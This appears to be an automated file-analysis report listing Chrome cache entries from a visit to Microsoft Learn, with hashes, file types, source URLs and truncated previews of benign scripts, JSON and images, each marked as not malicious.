Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
